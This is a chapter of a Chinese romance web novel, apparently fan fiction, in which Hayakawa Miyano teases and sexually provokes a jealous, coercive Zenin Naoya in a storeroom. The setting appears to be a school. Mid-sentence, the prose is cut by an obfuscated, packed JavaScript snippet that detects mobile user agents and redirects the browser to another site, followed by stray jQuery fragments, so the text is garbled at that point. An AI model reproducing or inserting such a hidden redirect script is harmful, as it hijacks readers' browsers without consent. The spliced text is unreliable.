24.第二十四章

作品:《抱歉,伤害男人的事我全做了

    杂物室的光线很昏暗。


    各种堆放着歪歪扭扭的木椅,交错的堆积在一起。空气中漂浮着陈旧木材的味道,带着几丝潮湿。


    她被强硬的拉进储物间,眼前的视线昏暗一瞬,紧接着是禅院直哉背对着她,关上门的背影。


    “你就准备一直不和我说话嚒?”


    禅院直哉几乎要与阴影融为一体,他缓慢的转过身,语气并没有多大起伏,但早川可以明显感受到对方身上的低气压。


    与直哉身上不悦的情绪相反的是,早川宫野坐在窗台上神情自若的姿态。


    与其说神情自若,倒不如说是一副漠然的表情。


    平静的瞳孔,淡淡的嘴角,就仿佛只是身为一个旁观察,静静的看着由他主演的这场戏一样。


    他的一切情绪就好像是一场无理取闹,像马戏团里供人观赏表演的猴子。


    ……他一定要


    ——杀死这个该死的贱女人!


    禅院直哉危险的眯了眯琥珀色的瞳孔,发出烦躁的咂舌声后,大步迈向早川宫野。


    他捏起早川的脸颊,迫使她与自己对视。钳住她脸颊的手很大力,禅院直哉原本也没想要温柔对待早川宫野。


    “说话。”


    他冷冷命令道,捏住脸颊两颚的手不断用力。几乎能听见指尖骨骼不断收缩的嘎嘎声。


    禅院直哉想要看见早川脸上除了“漠然”外的一切表情。


    为什么要这样看着他?


    哪怕是发痛的落泪,哪怕是带着怒意打开他的手,对他发脾气。也会比现在早川宫野脸上的表情要好。


    不要这种毫无情绪的脸看着他。


    不要这种漠视的、没有一丝情绪的眼神注视着他。


    “你哑巴了吗?”


    “为什么不说话?”


    “哈……刚才不是和那个崽种聊的很好吗?你们都说了什么?那天在纸上画的是他吗?”


    这一刻的禅院直哉已经完全忘记刚才在上课前对自己说出的话了。


    什么下位者,什么猎人,什么猎物,什么要把她玩的团团转……


    这一切都在早川宫野异常平静的、那双不再对他包含一丝笑意的褐色瞳孔中溃不成军。


    一切的一切在这一刻就像被打开闸门的洪水一样,全部汇聚成一句话,那句他一直很想问的话———


    “你喜欢上他了吗,早川宫野。”


    禅院直哉说这句话的时候眉毛拧的很深。


    他几乎是带着咬牙切齿的,从牙缝中挤出几节单词。同时说出这句话时,伴随着的是比先前更加加重力度的手。


    早川:“……”


    早川:“呵……”


    手里的女人突然轻笑一声,那双褐色的瞳孔终于染上笑意,不再是冰冰的寒冷。


    禅院直哉愣住。他不知道早川宫野在笑什么,只是听见她笑后一瞬间放松了些手指间的力度,但他很快回过神来,重新加重了力度,同时抵着下颚的手向后仰了仰。


    就好像突然放松力度的手只是错觉而已。


    “你笑什么。”


    “嗯?我刚才笑了吗?啊……好像是的呢,因为可爱到已经有些忍不住了。”


    褐色的瞳孔闪烁着晦涩不明的笑意,早川宫野缓缓开口,同时不动声色搭上他的手,五指挤入他的指尖,与他十指相扣,压低了声音:“所以——刚才是在吃醋吗,直哉君。”


    像蛇一样突然爬上手臂,缠上他指尖的手,强硬的分开他的五指,挤进去扣住。在手心与手背刚刚贴住的一瞬间,浑身几乎寒毛都在倒立。


    不知道是被恶心到了还是什么,他紧紧咬着下唇内壁,同时快速抽回手。


    “不是想让我说话吗?”


    早川宫野坐在窗台上,翘着腿笑道:“现在开口说了,直哉君又不理人了。”


    “……闭嘴!”


    禅院直哉瞪了她一眼,下垂的手被袖口遮挡住。明明自己才是居高临下看她的那一个,早川宫野坐在那里,却有一种上位者的姿态。


    禅院直哉不喜欢这个视角,无论在何种关系,他都应该是主权、首位的身份。但此刻却又无法转身离开。


    因为他一定要听见那个答案。


    那个关于早川宫野最近到底为什么,以及是不是真的……


    这无疑是一种耻辱。


    拿自己和一个卑贱的旁系相提并论,如果最终选择了一个样样都不如他的旁系,这不仅仅是直哉身为男人的耻辱,更是整个禅院的耻辱。


    至于早川宫野说他吃醋了的话语……


    不可能。


    是绝对不可能的吧?


    是绝对绝对不可能,也绝对不存在的事的吧?


    禅院直哉觉得这无关喜欢之间的情感,纯属只是因为自己身为男人的尊严。


    所以他站在原地,只是静默的等待着她的回答。


    以至于早川对他动手动脚,他都没有反抗。


    因为他只是——迫切的想要知道那个最终答案而已。


    杂物间里,早川宫野已经得寸进尺的伸手拉住他的袖口,仰起头露出闪烁的眼睛,一点一点把他拉近。


    “怎么突然又沉默了。刚才不是一直逼问我要说些什么的吗?”


    早川宫野摸上他手,继续做了一遍刚才未完成的动作——挤入他的手指,与他十指相扣。


    直哉抽了一下,没抽开。


    “啊……我想起来了,刚才直哉君问了很多为什么吧。直哉君想要先听哪一个?和那个男孩的事情吗?”


    早川宫野站起身,每说一句话就缓缓向他逼近一步。偏偏早川一整句几句全是废话。


    禅院直哉神色有些僵硬,早川宫野走的太近了,想要伸手推开却被对方扣在手心,只有右手是空余的。


    但禅院直哉


    ……他不想伸出手推开早川。


    他也不知道自己是怎么了,心脏的跳动几乎要覆盖住他整个大脑的回响。只是眼神游离了一下,后背抵在墙壁上,明明是警告的话却格外的轻飘飘道:“…滚远些。”


    早川宫野笑了笑,显然完全没听进去。反倒越发过分的伸出另一只手,手掌贴在他的脸颊上,大拇指轻轻摩挲了一下他的脸颊。


    “真的吗?想要我离开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657670|170922||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?如果我走掉了,直哉君就永远听不见那个答案了哦?”


    直哉:“……”


    这个该死的……贱女人!


    仿佛自己的一切心思和动作都被对方预判的完完全全,让他无法再有回旋的余地。


    他的呼吸有些急促起来,扬起头移开眼不再看她,直到早川宫野的胸口贴上他的胸膛。


    “直哉君的身体……好烫啊。”


    “…闭嘴!”


    禅院直哉恶狠狠道,身体却依然没有拒绝,他呼吸了一下,平稳着气息:“赶紧回答我的问题,早川宫野,别耽误我时……呜……”


    正常的话语说了一半,被禅院直哉呜咽的喘息声中断。


    早川宫野正伸出手,从耳垂、脖颈一直向下。


    禅院直哉脸色通红,死死咬着嘴唇,仰起头看着天花板完全不敢看她。


    “嗯?什么。啊,你说旁系吗?”


    早川宫野面色无常,像手里只是在做着什么再正常不过的事,从隔着布料伸入领口内:“直哉君居然会担心这种问题吗?明明之前我说的很清楚了吧,只会喜欢直哉君一个人。”


    直到感受到早川宫野的手,直哉才真的意识到自己的身体好像真的很烫。他咬着唇,呼吸已经乱成一团了。


    “你别……呜……”


    “如果现在停下来的话,我会立刻走掉的哦。”


    混乱的呼吸间,早川宫野褐色幽暗的瞳孔,像是不愿错过他任何一个表情一样。


    禅院直哉眼尾发红,眼神都有些迷离的看着她。从眉眼,一直向下移动,一直落在她嘴唇的位置。


    很粉…也很小,看上去非常柔软的样子。


    显然早川也注意到了他的视线,她伸手捏过禅院直哉的下颚,在上扬的嘴角中,不断放大…放大……


    禅院直哉的呼吸几乎停滞了一瞬,仅仅只是挑逗,也早已一塌糊涂。心脏的抨击几乎让他屏蔽了所有的声音,他闭上眼睛,索取般的张开口。


    意料之中柔软的触感并没有来,直哉睁开眼,对上的是早川宫野似笑非笑的瞳孔。


    在随着若有若无加重的力度后,指尖划过他,画圈,打转。


    她越过他的眼神,凑到他耳边,语气柔和:


    “直哉君穿这件——很好看哦?”


    话语响起的同时,禅院直哉突然紧抓住她的手,还没站稳脚跟,早川宫野突然抽离紧贴的身体,松开与他相扣的手。几乎毫无施力的,直哉身体一软,跪倒在地面上。


    手掌撑在地面上,膝盖触碰在地面上很痛,但更加明显的,是禅院直哉轻颤的身躯,以及猛烈跳动的心脏。


    早川宫野站在一旁,唇边依然是似笑非笑的表情。她先是静默的看了一会,转动脚尖,随后抱起放在窗台上整齐的书,推开杂物间的门。


    “啊,对了。”


    她拉开一半的门,回过头:“直哉君,明天晚上一起吃饭吧。”


    咔———


    拉门重新拉上,只剩下昏暗光线里跪坐在地上的直哉。


    他领口凌乱,脸颊绯红,像岸边的鱼一样,张开口小幅度喘息着。